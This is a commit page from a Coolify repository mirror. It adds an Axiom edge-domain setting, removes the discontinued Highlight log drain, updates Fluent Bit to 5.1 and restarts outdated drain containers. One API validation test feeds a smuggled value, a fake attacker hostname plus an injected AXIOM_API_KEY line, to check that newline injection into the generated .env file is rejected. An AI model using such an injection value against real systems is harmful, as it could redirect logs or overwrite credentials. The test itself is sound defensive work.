mirror of
https://github.com/coollabsio/coolify.git
synced 2026-10-28 09:34:36 +08:00
fix(log-drains): support Axiom edge domains and update Fluent Bit to 5.1
- Add an Axiom edge domain setting (default us-east-1) and use the /v1/ingest endpoint, so EU datasets work - Remove the Highlight drain (service ended) and stop its running containers - Update Fluent Bit from 2.0 to 5.1 and use the warn log level - Restart running drains when the generated files change, with the new image pulled before the old container stops - Show log drain validation errors under their fields Closes #9898
This commit is contained in:
1 parent
18a85d37ba
commit
101444b8ca
19 files changed
+529
-112
No files matched your search
@@ -3,8 +3,10 @@
|
||||
namespace App\Actions\Server;
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Models\Service;
|
||||
use App\Rules\ValidFluentBitConfig;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Lorisleiva\Actions\Concerns\AsAction;
|
||||
|
||||
class StartLogDrain
|
||||
@@ -13,12 +15,31 @@ class StartLogDrain
|
||||
|
||||
public string $jobQueue = 'high';
|
||||
|
||||
/**
|
||||
* Bump when the generated files change (image, config, compose, or README), so that the
|
||||
* server checks start running log drains again with the new files.
|
||||
*/
|
||||
public const CONFIG_VERSION = '1';
|
||||
|
||||
public const CONFIG_VERSION_LABEL = 'coolify.logDrainConfigVersion';
|
||||
|
||||
/**
|
||||
* Whether a running log drain container was made with older files. Claims the refresh for
|
||||
* 10 minutes, so that the frequent server checks queue only one restart.
|
||||
*/
|
||||
public static function claimOutdatedRefresh(Server $server, mixed $labels): bool
|
||||
{
|
||||
if ((string) collect($labels)->get(self::CONFIG_VERSION_LABEL) === self::CONFIG_VERSION) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return Cache::add("log-drain-refresh:{$server->uuid}", true, now()->addMinutes(10));
|
||||
}
|
||||
|
||||
public function handle(Server $server)
|
||||
{
|
||||
if ($server->settings->is_logdrain_newrelic_enabled) {
|
||||
$type = 'newrelic';
|
||||
} elseif ($server->settings->is_logdrain_highlight_enabled) {
|
||||
$type = 'highlight';
|
||||
} elseif ($server->settings->is_logdrain_axiom_enabled) {
|
||||
$type = 'axiom';
|
||||
} elseif ($server->settings->is_logdrain_custom_enabled) {
|
||||
@@ -34,9 +55,6 @@ class StartLogDrain
|
||||
|
||||
return 'Amazon CloudWatch Logs uses the built-in Docker awslogs driver.';
|
||||
}
|
||||
if ($type !== 'none') {
|
||||
StopLogDrain::run($server);
|
||||
}
|
||||
$serverName = $this->fluentBitValue((string) $server->name);
|
||||
try {
|
||||
if ($type === 'none') {
|
||||
@@ -49,8 +67,7 @@ class StartLogDrain
|
||||
[SERVICE]
|
||||
Flush 5
|
||||
Daemon off
|
||||
Tag container_logs
|
||||
Log_Level debug
|
||||
Log_Level warn
|
||||
Parsers_File parsers.conf
|
||||
[INPUT]
|
||||
Name forward
|
||||
@@ -76,27 +93,6 @@ class StartLogDrain
|
||||
# https://log-api.newrelic.com/log/v1 - US
|
||||
base_uri \${BASE_URI}
|
||||
");
|
||||
} elseif ($type === 'highlight') {
|
||||
if (! $server->settings->is_logdrain_highlight_enabled) {
|
||||
throw new \Exception('Highlight log drain is not enabled.');
|
||||
}
|
||||
$config = base64_encode('
|
||||
[SERVICE]
|
||||
Flush 5
|
||||
Daemon off
|
||||
Log_Level debug
|
||||
Parsers_File parsers.conf
|
||||
[INPUT]
|
||||
Name forward
|
||||
tag ${HIGHLIGHT_PROJECT_ID}
|
||||
Buffer_Chunk_Size 1M
|
||||
Buffer_Max_Size 6M
|
||||
[OUTPUT]
|
||||
Name forward
|
||||
Match *
|
||||
Host otel.highlight.io
|
||||
Port 24224
|
||||
');
|
||||
} elseif ($type === 'axiom') {
|
||||
if (! $server->settings->is_logdrain_axiom_enabled) {
|
||||
throw new \Exception('Axiom log drain is not enabled.');
|
||||
@@ -105,7 +101,7 @@ class StartLogDrain
|
||||
[SERVICE]
|
||||
Flush 5
|
||||
Daemon off
|
||||
Log_Level debug
|
||||
Log_Level warn
|
||||
Parsers_File parsers.conf
|
||||
[INPUT]
|
||||
Name forward
|
||||
@@ -126,9 +122,9 @@ class StartLogDrain
|
||||
[OUTPUT]
|
||||
Name http
|
||||
Match *
|
||||
Host api.axiom.co
|
||||
Host \${AXIOM_DOMAIN}
|
||||
Port 443
|
||||
URI /v1/datasets/\${AXIOM_DATASET_NAME}/ingest
|
||||
URI /v1/ingest/\${AXIOM_DATASET_NAME}
|
||||
# Authorization Bearer should be an API token
|
||||
Header Authorization Bearer \${AXIOM_API_KEY}
|
||||
compress gzip
|
||||
@@ -165,7 +161,7 @@ class StartLogDrain
|
||||
$compose = base64_encode('
|
||||
services:
|
||||
coolify-log-drain:
|
||||
image: cr.fluentbit.io/fluent/fluent-bit:2.0
|
||||
image: cr.fluentbit.io/fluent/fluent-bit:5.1
|
||||
container_name: coolify-log-drain
|
||||
command: -c /fluent-bit.conf
|
||||
env_file:
|
||||
@@ -177,16 +173,22 @@ services:
|
||||
- 127.0.0.1:24224:24224
|
||||
labels:
|
||||
- coolify.managed=true
|
||||
- '.self::CONFIG_VERSION_LABEL.'='.self::CONFIG_VERSION.'
|
||||
restart: unless-stopped
|
||||
');
|
||||
$readme = base64_encode('# New Relic Log Drain
|
||||
This log drain is based on [Fluent Bit](https://fluentbit.io/) and New Relic Log Forwarder.
|
||||
$providerName = match ($type) {
|
||||
'newrelic' => 'New Relic',
|
||||
'axiom' => 'Axiom',
|
||||
'custom' => 'Custom',
|
||||
};
|
||||
$readme = base64_encode("# {$providerName} Log Drain
|
||||
This log drain is based on [Fluent Bit](https://fluentbit.io/).
|
||||
|
||||
Files:
|
||||
- `fluent-bit.conf` - configuration file for Fluent Bit
|
||||
- `docker-compose.yml` - docker-compose file to run Fluent Bit
|
||||
- `.env` - environment variables for Fluent Bit
|
||||
');
|
||||
");
|
||||
$license_key = $server->settings->logdrain_newrelic_license_key;
|
||||
$base_uri = $server->settings->logdrain_newrelic_base_uri;
|
||||
$base_path = config('constants.coolify.base_config_path');
|
||||
@@ -198,10 +200,9 @@ Files:
|
||||
$readme_path = $config_path.'/README.md';
|
||||
if ($type === 'newrelic') {
|
||||
$envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n";
|
||||
} elseif ($type === 'highlight') {
|
||||
$envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n";
|
||||
} elseif ($type === 'axiom') {
|
||||
$envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
|
||||
$axiomDomain = trim((string) $server->settings->logdrain_axiom_domain) ?: ServerSetting::DEFAULT_AXIOM_DOMAIN;
|
||||
$envContent = "AXIOM_DOMAIN={$axiomDomain}\nAXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
|
||||
} elseif ($type === 'custom') {
|
||||
$envContent = '';
|
||||
} else {
|
||||
@@ -209,6 +210,8 @@ Files:
|
||||
}
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
// The running drain is removed only after the checks above and the image pull, so that an
|
||||
// invalid custom config or a slow download does not stop log collection.
|
||||
$command = [
|
||||
"echo 'Saving configuration'",
|
||||
"mkdir -p $config_path",
|
||||
@@ -217,7 +220,10 @@ Files:
|
||||
"echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
|
||||
"echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
|
||||
"echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null",
|
||||
"echo 'Pulling Fluent Bit'",
|
||||
"docker compose -f $compose_path pull --quiet --ignore-pull-failures",
|
||||
"echo 'Starting Fluent Bit'",
|
||||
'docker rm -f coolify-log-drain >/dev/null 2>&1 || true',
|
||||
"docker compose -f $compose_path up -d",
|
||||
];
|
||||
$command = array_merge($command, $this->logDrainNetworkConnectCommands($server));
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Actions\Server\StopLogDrain;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Server;
|
||||
use App\Rules\ValidFluentBitConfig;
|
||||
use App\Rules\ValidHostname;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use OpenApi\Attributes as OA;
|
||||
@@ -20,6 +21,7 @@ class ServerLogDrainsController extends Controller
|
||||
'is_logdrain_axiom_enabled',
|
||||
'logdrain_axiom_dataset_name',
|
||||
'logdrain_axiom_api_key',
|
||||
'logdrain_axiom_domain',
|
||||
'is_logdrain_custom_enabled',
|
||||
'logdrain_custom_config',
|
||||
'logdrain_custom_config_parser',
|
||||
@@ -47,6 +49,7 @@ class ServerLogDrainsController extends Controller
|
||||
'logdrain_newrelic_base_uri' => $settings->logdrain_newrelic_base_uri,
|
||||
'is_logdrain_axiom_enabled' => (bool) $settings->is_logdrain_axiom_enabled,
|
||||
'logdrain_axiom_dataset_name' => $settings->logdrain_axiom_dataset_name,
|
||||
'logdrain_axiom_domain' => $settings->logdrain_axiom_domain,
|
||||
'is_logdrain_custom_enabled' => (bool) $settings->is_logdrain_custom_enabled,
|
||||
'is_logdrain_cloudwatch_enabled' => (bool) $settings->is_logdrain_cloudwatch_enabled,
|
||||
'logdrain_cloudwatch_region' => $settings->logdrain_cloudwatch_region,
|
||||
@@ -85,6 +88,7 @@ class ServerLogDrainsController extends Controller
|
||||
new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string', nullable: true),
|
||||
new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'),
|
||||
new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string', nullable: true),
|
||||
new OA\Property(property: 'logdrain_axiom_domain', type: 'string', nullable: true),
|
||||
new OA\Property(property: 'logdrain_axiom_api_key', type: 'string', description: 'Only present with read:sensitive.'),
|
||||
new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'),
|
||||
new OA\Property(property: 'logdrain_custom_config', type: 'string', description: 'Only present with read:sensitive.'),
|
||||
@@ -138,6 +142,7 @@ class ServerLogDrainsController extends Controller
|
||||
new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string'),
|
||||
new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'),
|
||||
new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string'),
|
||||
new OA\Property(property: 'logdrain_axiom_domain', type: 'string', description: 'Base domain of the Axiom edge deployment. Default: us-east-1.aws.edge.axiom.co. Use eu-central-1.aws.edge.axiom.co for EU datasets.'),
|
||||
new OA\Property(property: 'logdrain_axiom_api_key', type: 'string'),
|
||||
new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'),
|
||||
new OA\Property(property: 'logdrain_custom_config', type: 'string'),
|
||||
@@ -185,6 +190,7 @@ class ServerLogDrainsController extends Controller
|
||||
'is_logdrain_axiom_enabled' => 'boolean',
|
||||
'logdrain_axiom_dataset_name' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logdrain_axiom_api_key' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logdrain_axiom_domain' => ['nullable', 'string', new ValidHostname],
|
||||
'is_logdrain_custom_enabled' => 'boolean',
|
||||
'logdrain_custom_config' => ['nullable', 'string', new ValidFluentBitConfig],
|
||||
'logdrain_custom_config_parser' => ['nullable', 'string', new ValidFluentBitConfig(parsersOnly: true)],
|
||||
@@ -250,7 +256,7 @@ class ServerLogDrainsController extends Controller
|
||||
}
|
||||
|
||||
if ($settings->is_logdrain_cloudwatch_enabled) {
|
||||
if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled || $settings->is_logdrain_highlight_enabled) {
|
||||
if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => [
|
||||
|
||||
@@ -116,6 +116,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
||||
|
||||
public bool $foundLogDrainContainer = false;
|
||||
|
||||
public array $logDrainContainerLabels = [];
|
||||
|
||||
private ?array $cachedDestinationIds = null;
|
||||
|
||||
public function middleware(): array
|
||||
@@ -275,6 +277,7 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
||||
$name = data_get($container, 'name');
|
||||
if ($name === 'coolify-log-drain' && $this->isRunning($containerStatus)) {
|
||||
$this->foundLogDrainContainer = true;
|
||||
$this->logDrainContainerLabels = $labels->all();
|
||||
}
|
||||
// Containers are matched by owner UUID; numeric ids differ between instances.
|
||||
if (isContainerOfType($labels, 'application')) {
|
||||
@@ -979,7 +982,10 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
||||
|
||||
private function checkLogDrainContainer()
|
||||
{
|
||||
if ($this->server->isFluentBitLogDrainEnabled() && $this->foundLogDrainContainer === false) {
|
||||
if (! $this->server->isFluentBitLogDrainEnabled()) {
|
||||
return;
|
||||
}
|
||||
if ($this->foundLogDrainContainer === false || StartLogDrain::claimOutdatedRefresh($this->server, $this->logDrainContainerLabels)) {
|
||||
StartLogDrain::dispatch($this->server);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -113,7 +113,7 @@ class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue
|
||||
})->first();
|
||||
if ($foundLogDrainContainer) {
|
||||
$status = data_get($foundLogDrainContainer, 'State.Status');
|
||||
if ($status !== 'running') {
|
||||
if ($status !== 'running' || StartLogDrain::claimOutdatedRefresh($this->server, data_get($foundLogDrainContainer, 'Config.Labels'))) {
|
||||
StartLogDrain::dispatch($this->server);
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -5,7 +5,9 @@ namespace App\Livewire\Server;
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Actions\Server\StopLogDrain;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Rules\ValidFluentBitConfig;
|
||||
use App\Rules\ValidHostname;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use Livewire\Attributes\Validate;
|
||||
@@ -38,6 +40,9 @@ class LogDrains extends Component
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||
public ?string $logDrainAxiomApiKey = null;
|
||||
|
||||
#[Validate(['string', 'nullable', new ValidHostname])]
|
||||
public ?string $logDrainAxiomDomain = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $logDrainCustomConfig = null;
|
||||
|
||||
@@ -87,9 +92,11 @@ class LogDrains extends Component
|
||||
$this->server->settings->is_logdrain_axiom_enabled = $this->isLogDrainAxiomEnabled;
|
||||
$this->server->settings->logdrain_axiom_dataset_name = $this->logDrainAxiomDatasetName;
|
||||
$this->server->settings->logdrain_axiom_api_key = $this->logDrainAxiomApiKey;
|
||||
$this->server->settings->logdrain_axiom_domain = $this->logDrainAxiomDomain;
|
||||
} else {
|
||||
$this->isLogDrainAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled;
|
||||
$this->logDrainAxiomDatasetName = $this->server->settings->logdrain_axiom_dataset_name;
|
||||
$this->logDrainAxiomDomain = $this->server->settings->logdrain_axiom_domain ?: ServerSetting::DEFAULT_AXIOM_DOMAIN;
|
||||
$this->logDrainAxiomApiKey = auth()->user()->can('update', $this->server)
|
||||
? $this->server->settings->logdrain_axiom_api_key
|
||||
: null;
|
||||
@@ -146,9 +153,6 @@ class LogDrains extends Component
|
||||
$this->syncDataCustom($toModel);
|
||||
$this->syncDataCloudwatch($toModel);
|
||||
}
|
||||
if ($this->enabledLogDrainCount() > 0) {
|
||||
$this->server->settings->is_logdrain_highlight_enabled = false;
|
||||
}
|
||||
$this->auditLogDrain('updated');
|
||||
$this->server->settings->save();
|
||||
} else {
|
||||
@@ -195,6 +199,7 @@ class LogDrains extends Component
|
||||
$this->validate([
|
||||
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainAxiomDomain' => ['required', new ValidHostname],
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
$this->isLogDrainAxiomEnabled = false;
|
||||
@@ -240,6 +245,8 @@ class LogDrains extends Component
|
||||
StopLogDrain::run($this->server);
|
||||
$this->dispatch('success', 'Log drain service stopped.');
|
||||
}
|
||||
} catch (ValidationException $e) {
|
||||
return $this->handleValidationError($e);
|
||||
} catch (\Throwable $e) {
|
||||
return handleError($e, $this);
|
||||
}
|
||||
@@ -251,7 +258,6 @@ class LogDrains extends Component
|
||||
$previousAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled;
|
||||
$previousCustomEnabled = $this->server->settings->is_logdrain_custom_enabled;
|
||||
$previousCloudwatchEnabled = $this->server->settings->is_logdrain_cloudwatch_enabled;
|
||||
$previousHighlightEnabled = $this->server->settings->is_logdrain_highlight_enabled;
|
||||
|
||||
try {
|
||||
$this->authorize('update', $this->server);
|
||||
@@ -279,6 +285,9 @@ class LogDrains extends Component
|
||||
StopLogDrain::run($this->server);
|
||||
$this->dispatch('success', 'Log drain service stopped.');
|
||||
}
|
||||
} catch (ValidationException $e) {
|
||||
// Validation runs before anything is saved, so keep the typed values and show the errors under the fields.
|
||||
$this->handleValidationError($e);
|
||||
} catch (\Throwable $e) {
|
||||
// Restore the previously persisted enabled flags so the UI/DB never
|
||||
// claim a runtime state that the Start/StopLogDrain action failed to apply.
|
||||
@@ -286,7 +295,6 @@ class LogDrains extends Component
|
||||
$this->server->settings->is_logdrain_axiom_enabled = $previousAxiomEnabled;
|
||||
$this->server->settings->is_logdrain_custom_enabled = $previousCustomEnabled;
|
||||
$this->server->settings->is_logdrain_cloudwatch_enabled = $previousCloudwatchEnabled;
|
||||
$this->server->settings->is_logdrain_highlight_enabled = $previousHighlightEnabled;
|
||||
$this->server->settings->save();
|
||||
$this->syncData();
|
||||
|
||||
@@ -310,6 +318,13 @@ class LogDrains extends Component
|
||||
return view('livewire.server.log-drains');
|
||||
}
|
||||
|
||||
private function handleValidationError(ValidationException $e): mixed
|
||||
{
|
||||
$this->setErrorBag($e->validator->errors());
|
||||
|
||||
return handleError($e, $this);
|
||||
}
|
||||
|
||||
private function enabledLogDrainCount(): int
|
||||
{
|
||||
return count(array_filter([
|
||||
@@ -351,6 +366,7 @@ class LogDrains extends Component
|
||||
'axiom' => $this->validate([
|
||||
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainAxiomDomain' => ['required', new ValidHostname],
|
||||
]),
|
||||
'custom' => $this->validate([
|
||||
'logDrainCustomConfig' => ['required', new ValidFluentBitConfig],
|
||||
|
||||
@@ -2200,7 +2200,7 @@ $siteAddress {
|
||||
*/
|
||||
public function isFluentBitLogDrainEnabled(): bool
|
||||
{
|
||||
return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_highlight_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled;
|
||||
return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled;
|
||||
}
|
||||
|
||||
public function validateOS(): bool|Stringable
|
||||
|
||||
@@ -29,7 +29,6 @@ use OpenApi\Attributes as OA;
|
||||
'is_logdrain_axiom_enabled' => ['type' => 'boolean'],
|
||||
'is_logdrain_cloudwatch_enabled' => ['type' => 'boolean'],
|
||||
'is_logdrain_custom_enabled' => ['type' => 'boolean'],
|
||||
'is_logdrain_highlight_enabled' => ['type' => 'boolean'],
|
||||
'is_logdrain_newrelic_enabled' => ['type' => 'boolean'],
|
||||
'is_metrics_enabled' => ['type' => 'boolean'],
|
||||
'is_traffic_analytics_enabled' => ['type' => 'boolean'],
|
||||
@@ -49,12 +48,12 @@ use OpenApi\Attributes as OA;
|
||||
'is_usable' => ['type' => 'boolean'],
|
||||
'logdrain_axiom_api_key' => ['type' => 'string'],
|
||||
'logdrain_axiom_dataset_name' => ['type' => 'string'],
|
||||
'logdrain_axiom_domain' => ['type' => 'string', 'description' => 'Base domain of the Axiom edge deployment, for example us-east-1.aws.edge.axiom.co or eu-central-1.aws.edge.axiom.co.'],
|
||||
'logdrain_cloudwatch_region' => ['type' => 'string'],
|
||||
'logdrain_cloudwatch_group' => ['type' => 'string'],
|
||||
'logdrain_cloudwatch_stream_prefix' => ['type' => 'string'],
|
||||
'logdrain_custom_config' => ['type' => 'string'],
|
||||
'logdrain_custom_config_parser' => ['type' => 'string'],
|
||||
'logdrain_highlight_project_id' => ['type' => 'string'],
|
||||
'logdrain_newrelic_base_uri' => ['type' => 'string'],
|
||||
'logdrain_newrelic_license_key' => ['type' => 'string'],
|
||||
'sentinel_metrics_history_days' => ['type' => 'integer'],
|
||||
@@ -93,6 +92,11 @@ class ServerSetting extends Model
|
||||
|
||||
public const int DEFAULT_SENTINEL_PUSH_INTERVAL_SECONDS = 60;
|
||||
|
||||
/**
|
||||
* Axiom edge deployment for US East 1. See https://axiom.co/docs/reference/edge-deployments.
|
||||
*/
|
||||
public const string DEFAULT_AXIOM_DOMAIN = 'us-east-1.aws.edge.axiom.co';
|
||||
|
||||
protected $fillable = [
|
||||
'server_id',
|
||||
'is_swarm_manager',
|
||||
@@ -109,11 +113,10 @@ class ServerSetting extends Model
|
||||
'is_logdrain_newrelic_enabled',
|
||||
'logdrain_newrelic_license_key',
|
||||
'logdrain_newrelic_base_uri',
|
||||
'is_logdrain_highlight_enabled',
|
||||
'logdrain_highlight_project_id',
|
||||
'is_logdrain_axiom_enabled',
|
||||
'logdrain_axiom_dataset_name',
|
||||
'logdrain_axiom_api_key',
|
||||
'logdrain_axiom_domain',
|
||||
'is_swarm_worker',
|
||||
'is_logdrain_custom_enabled',
|
||||
'logdrain_custom_config',
|
||||
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('server_settings', function (Blueprint $table) {
|
||||
$table->string('logdrain_axiom_domain')->nullable()->default('us-east-1.aws.edge.axiom.co');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('server_settings', function (Blueprint $table) {
|
||||
$table->dropColumn('logdrain_axiom_domain');
|
||||
});
|
||||
}
|
||||
};
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Server\StopLogDrain;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
/**
|
||||
* Highlight.io ended its hosted service on 2026-02-28, so its log drain can no longer deliver logs.
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasColumn('server_settings', 'is_logdrain_highlight_enabled')) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$serverIds = ServerSetting::query()->where('is_logdrain_highlight_enabled', true)->pluck('server_id');
|
||||
Server::query()->whereIn('id', $serverIds)->get()
|
||||
->reject(fn (Server $server) => $server->isTransferredAway())
|
||||
->each(fn (Server $server) => StopLogDrain::dispatch($server));
|
||||
} catch (Throwable $e) {
|
||||
Log::warning('Could not queue the removal of Highlight log drain containers: '.$e->getMessage());
|
||||
}
|
||||
|
||||
Schema::table('server_settings', function (Blueprint $table) {
|
||||
$table->dropColumn(['is_logdrain_highlight_enabled', 'logdrain_highlight_project_id']);
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('server_settings', function (Blueprint $table) {
|
||||
$table->boolean('is_logdrain_highlight_enabled')->default(false);
|
||||
$table->string('logdrain_highlight_project_id')->nullable();
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -42,7 +42,7 @@ When you add a model or a setting to the transfer, add it to this file too.
|
||||
| ✅ | Metrics / Sentinel | metrics on, refresh rate 10 s, history 14 days, push interval 30 s |
|
||||
| ✅ | Traffic analytics | on, top N 20, sample threshold, retention 1h=3 / 1d=60 days, IP mode `anonymized` |
|
||||
| ✅ | GeoIP | on, MaxMind license key, refresh 14 days |
|
||||
| ✅ | Log drains | New Relic (key + base URI), Highlight (project ID), Axiom (dataset + key), custom (config + parser), one of them enabled |
|
||||
| ✅ | Log drains | New Relic (key + base URI), Axiom (dataset, key + edge domain), custom (config + parser), one of them enabled |
|
||||
| ✅ | Cloudflare tunnel | tunnel on, tunnel ID, account ID, Cloudflare integration token selected, and the DNS record of the SSH hostname. Expected: the record moves with the server; the source keeps it only for a take back (not owned) |
|
||||
| ➕ | Jump server flag | on (on a server that is only a jump host) |
|
||||
|
||||
|
||||
@@ -47,19 +47,26 @@
|
||||
</x-application.settings-section>
|
||||
<x-application.settings-section id="server-axiom-drain-section" title="Axiom"
|
||||
helper="Send logs to an Axiom dataset using its ingest API.">
|
||||
<div class="grid gap-4 lg:grid-cols-3">
|
||||
<div class="mb-4 max-w-sm">
|
||||
<x-forms.listbox canGate="update" :canResource="$server" id="isLogDrainAxiomEnabled" label="Status"
|
||||
onChange="instantSave" :options="[
|
||||
['value' => false, 'label' => 'Disabled'],
|
||||
['value' => true, 'label' => 'Enabled'],
|
||||
]"
|
||||
:disabled="$isLogDrainNewRelicEnabled || $isLogDrainCustomEnabled || $isLogDrainCloudwatchEnabled || !auth()->user()->can('update', $server)" />
|
||||
</div>
|
||||
<div class="grid gap-4 lg:grid-cols-3">
|
||||
<x-forms.input canGate="update" :canResource="$server" type="password" :required="$isLogDrainAxiomEnabled"
|
||||
id="logDrainAxiomApiKey" label="API key"
|
||||
:disabled="$server->isLogDrainEnabled()" />
|
||||
<x-forms.input canGate="update" :canResource="$server" :required="$isLogDrainAxiomEnabled"
|
||||
id="logDrainAxiomDatasetName" label="Dataset name"
|
||||
:disabled="$server->isLogDrainEnabled()" />
|
||||
<x-forms.input canGate="update" :canResource="$server" :required="$isLogDrainAxiomEnabled"
|
||||
id="logDrainAxiomDomain" label="Edge domain"
|
||||
placeholder="us-east-1.aws.edge.axiom.co"
|
||||
helper="Base domain of the edge deployment of your Axiom organization.<br><br>US: <code>us-east-1.aws.edge.axiom.co</code><br>EU: <code>eu-central-1.aws.edge.axiom.co</code>"
|
||||
:disabled="$server->isLogDrainEnabled()" />
|
||||
</div>
|
||||
</x-application.settings-section>
|
||||
<x-application.settings-section id="server-cloudwatch-drain-section" title="Amazon CloudWatch Logs"
|
||||
|
||||
@@ -48,7 +48,7 @@ $server->settings->forceFill([
|
||||
'is_traffic_analytics_enabled' => true, 'traffic_topn' => 20, 'traffic_sample_threshold' => 9, 'traffic_retention_1h_days' => 3, 'traffic_retention_1d_days' => 60,
|
||||
'traffic_ip_mode' => 'anonymized', 'is_geoip_enabled' => true, 'geoip_maxmind_license_key' => 'fake-maxmind-key', 'geoip_refresh_days' => 14,
|
||||
'logdrain_newrelic_license_key' => 'fake-newrelic', 'logdrain_newrelic_base_uri' => 'https://log-api.eu.newrelic.com/log/v1',
|
||||
'logdrain_highlight_project_id' => 'fake-highlight', 'logdrain_axiom_dataset_name' => 'fake-dataset', 'logdrain_axiom_api_key' => 'fake-axiom',
|
||||
'logdrain_axiom_dataset_name' => 'fake-dataset', 'logdrain_axiom_api_key' => 'fake-axiom',
|
||||
'logdrain_custom_config' => "[OUTPUT]\n Name stdout\n", 'logdrain_custom_config_parser' => "[PARSER]\n Name fake\n",
|
||||
'logdrain_cloudwatch_region' => 'eu-central-1', 'logdrain_cloudwatch_group' => 'fake-group', 'logdrain_cloudwatch_stream_prefix' => 'fake-prefix',
|
||||
])->saveQuietly();
|
||||
|
||||
@@ -190,6 +190,26 @@ describe('Log drains API', function () {
|
||||
->and($settings->logdrain_axiom_api_key)->toBe('axiom-key-123');
|
||||
});
|
||||
|
||||
test('PATCH sets the Axiom edge domain and rejects a value that is not a hostname', function () {
|
||||
Queue::fake();
|
||||
|
||||
$this->withHeaders(serverSubsystemsHeaders())
|
||||
->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [
|
||||
'logdrain_axiom_domain' => 'eu-central-1.aws.edge.axiom.co',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('logdrain_axiom_domain', 'eu-central-1.aws.edge.axiom.co');
|
||||
|
||||
$this->withHeaders(serverSubsystemsHeaders())
|
||||
->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [
|
||||
'logdrain_axiom_domain' => "evil.example.com\nAXIOM_API_KEY=x",
|
||||
])
|
||||
->assertUnprocessable()
|
||||
->assertJsonValidationErrors('logdrain_axiom_domain');
|
||||
|
||||
expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('eu-central-1.aws.edge.axiom.co');
|
||||
});
|
||||
|
||||
test('PATCH saves log drain settings without connecting to a server that is not validated', function () {
|
||||
Queue::fake();
|
||||
|
||||
|
||||
@@ -0,0 +1,137 @@
|
